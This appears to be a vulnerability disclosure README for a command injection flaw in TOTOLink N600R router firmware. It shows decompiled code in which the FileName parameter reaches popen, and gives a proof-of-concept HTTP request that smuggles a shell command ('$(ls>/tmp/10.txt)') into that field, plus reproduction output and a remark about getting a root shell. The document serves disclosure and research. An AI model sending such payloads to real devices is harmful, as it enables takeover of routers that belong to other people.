

main IOT_vuln / TOTOLink / N600R / 10 /

rencvn and rencvn add tototalink n600r ...

on Apr 6 History

..

img 8 months ago

readme.md 8 months ago

readme.md

TOTOLink N600R V5.3c.7159_B20190425 Command injection vulnerability

Overview

- Manufacturer's website information: <http://www.totolink.cn>
- Firmware download address : http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36

1. Affected version

编号	标题	版本	上传时间	下载
1	N600R升级过渡版本	V5.3c.7159_B20190425	2021-07-17	
2	N600R升级固件	V4.3.0cu.7647_B20210106	2021-07-17	
3	N600R数据手册	Ver1.0	2021-08-10	

Figure 1 shows the latest firmware Ba of the router

Vulnerability details

```
45 v6 = (const char *)websGetVar(a2, "FileName", "");
46 v7 = (const char *)websGetVar(a2, "ContentLength", "");
47 v8 = cJSON_CreateObject();
48 apmib_get(7009, v32);
49 sprintf(v33, "cat %s | grep %s", v6, (const char *)v32);
50 if ( getCmdStr(v33, v34, 16) == -1 )
51 {
52     v9 = cJSON_CreateString("MM_ConfigFileInvalid");
53     cJSON_AddItemToObject(v8, "settingERR", v9);
54 LABEL_23:
55     v28 = (const char *)cJSON_Print(v8);
```

The program passes the content obtained through the filename function to V6, then formats the matched content into V33 through the sprintf function, and then brings V33 into getcmdstr

```

1 int __fastcall getCmdStr(int a1, _BYTE *a2, int a3)
2 {
3     int v5; // $v0
4     int v6; // $s0
5     int v7; // $s1
6     _BYTE *v8; // $v0
7
8     v5 = popen(a1, "r");
9     v6 = v5,
10    if ( !v5 )
11        return -1;
12    if ( fgets(a2, a3, v5) )
13    {
14        v8 = (_BYTE *)strchr(a2, 10);
15        if ( v8 )

```

At this time, the corresponding parameter A1 is finally brought into the Popen function, and there is a command injection vulnerability.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware V5.3c.7159_B20190425
2. Attack with the following POC attacks

```

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 102
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/telnet.asp?timestamp=1647874864
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647874864:2
Connection: close

{"topicurl":"setting/setUploadSetting",
"FileName":"test1$(ls>/tmp/10.txt;)",

```

```
"ContentLength": "1"
}
```

The reproduction results are as follows:

Request

PrettyRaw\nActions

```
1 POST /cgi-bin/cstecgi.cgi HTTP/1.1
2 Host: 192.168.0.1
3 Content-Length: 102
4 Accept: */*
5 X-Requested-With: XMLHttpRequest
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 Origin: http://192.168.0.1
9 Referer: http://192.168.0.1/telnet.asp?timestamp=1647878526972
10 Accept-Encoding: gzip, deflate
11 Accept-Language: zh-CN,zh;q=0.9
12 Cookie: SESSION_ID=2:1647878505:2
13 Connection: close
14
15 {
16   "topicurl": "setting/setUploadSetting",
17   "FileName": "test1$(ls>/tmp/10.txt);",
18   "ContentLength": "1"
19 }
```

Response

PrettyRawRender\nActions

```
1 HTTP/1.1 200 OK
2 Connection: close
3 Content-Type: text/plain
4 Content-Length: 41
5 Pragma: no-cache
6 Cache-Control: no-cache
7 Date: Mon, 21 Mar 2022 16:04:18 GMT
8 Server: lighttpd/1.4.20
9
10 {
11   "settingERR": "MM_ConfigFileInvalid"
12 }
```

```
# ls /tmp
1.txt      DloadFwMd5      ep3.txt      protect_process
10.txt     bridge_init     ep4.txt      update_flag
2.txt     cloudFwStatus   firewall_igd  usb
4.txt     cloudPluginStatus  fwinfo      wanlink
5.txt     cloudsrvup_check  lock        wanranchocontime
6.txt     dhcpd_unix       log         webWlanIdx
7.txt     dns_urlfilter_conf  ntp_tmp     wscd_status
8.txt     ep.txt           port_status  zoe.txt
9.txt     ep2.txt          preNtpConnectTime
```

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell